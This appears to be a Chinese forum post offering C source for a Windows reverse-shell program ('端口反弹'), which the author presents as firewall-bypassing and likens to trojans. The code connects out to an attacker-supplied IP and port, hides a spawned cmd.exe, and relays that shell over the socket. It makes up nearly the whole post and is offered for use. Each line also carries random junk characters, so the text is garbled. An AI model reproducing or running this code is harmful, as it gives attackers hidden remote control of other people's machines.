Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 3W}qNY;J  
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/* ============================== w$jq2?l  
Rebound port in Windows NT Nzl`mx16  
By wind,2006/7 c"zE  
===============================*/ C^*}*hYk$  
#include M>u84|`  
#include B*n_ VBd  
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#pragma comment(lib,"wsock32.lib")  ja^  
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void OutputShell(); j){0>O.V  
SOCKET sClient; pf#~|n#t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s"(F({J  
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void main(int argc,char **argv) Z._%T$8aJv  
{ bDnT><eH  
WSADATA stWsaData; Wo6C0Z3g}  
int nRet; I|_U|H!`  
SOCKADDR_IN stSaiClient,stSaiServer; ,$"T/yYer  
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if(argc != 3) bRI`ZT0  
{ q1Ehl S  
printf("Useage:\n\rRebound DestIP DestPort\n"); nk2H^RM^  
return; q5~"8]Dls  
} ?J6\?ct4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); rDC=rG  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =/(R_BFna  
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stSaiClient.sin_family = AF_INET; LNM#\fb  
stSaiClient.sin_port = htons(0); z 9~|Su  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "` kSI&2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {r:5\  
{ A4Tjfc,rx9  
printf("Bind Socket Failed!\n"); [y(<1]i-a  
return; T)MZ`dM  
} N`+@_.iBX  
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stSaiServer.sin_family = AF_INET; %APeQy"6#^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Em/? 4&
 
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p`}G"DM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !XT2'6nu  
{ X9o6} %Y  
printf("Connect Error!"); )u.%ycfeV  
return; -8z@FLUK-  
} W.?EjEx  
OutputShell(); |yi#6!}^  
} W&e}*  
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void OutputShell() h4=7{0[  
{ 3j/~XT  
char szBuff[1024]; wPr!.:MF  
SECURITY_ATTRIBUTES stSecurityAttributes; 5N$O  
OSVERSIONINFO stOsversionInfo; _"lW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nj+g
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STARTUPINFO stStartupInfo; r~PVh?  
char *szShell; d Z
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PROCESS_INFORMATION stProcessInformation; MR.c?P?0Q  
unsigned long lBytesRead; T:S[[#f{5  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }W nvz;]B  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'J_6SD  
stSecurityAttributes.lpSecurityDescriptor = 0; no7Q%O9  
stSecurityAttributes.bInheritHandle = TRUE; [wM]w  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i=\`
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oTk?a!Q  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oe{,-<yck  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[MtUWEW  
stStartupInfo.wShowWindow = SW_HIDE; A8j$c~  
stStartupInfo.hStdInput = hReadPipe; :-e[$6}S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LteZ7e  
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GetVersionEx(&stOsversionInfo); oZw#]Q@  
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switch(stOsversionInfo.dwPlatformId) PPj%
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{ Y9y'`}+  
case 1: <MgC7S2I  
szShell = "command.com"; h&<>nK   
break; SH;:bLk_  
default: V~S(cO[vj  
szShell = "cmd.exe"; #~`d ;MC  
break; ejlau#8"  
} C*Wyw]:r  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  t`'5|  
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send(sClient,szMsg,77,0); =90)=Pxd  
while(1) 2\9OT>  
{ '?qI_LP?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i`7:^v;  
if(lBytesRead) 7>xfQ  
{ }/M`G]wT#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?Y_!Fr3V  
send(sClient,szBuff,lBytesRead,0); :KBy(}V  
} (dAE  
else rz.`$  
{ WU{9lL=  
lBytesRead=recv(sClient,szBuff,1024,0); |/~ISB  
if(lBytesRead<=0) break; ~o8x3`CoF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3(=QY)  
} h:{^&d a  
} e6_`  
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return; `_ )5K u}  
}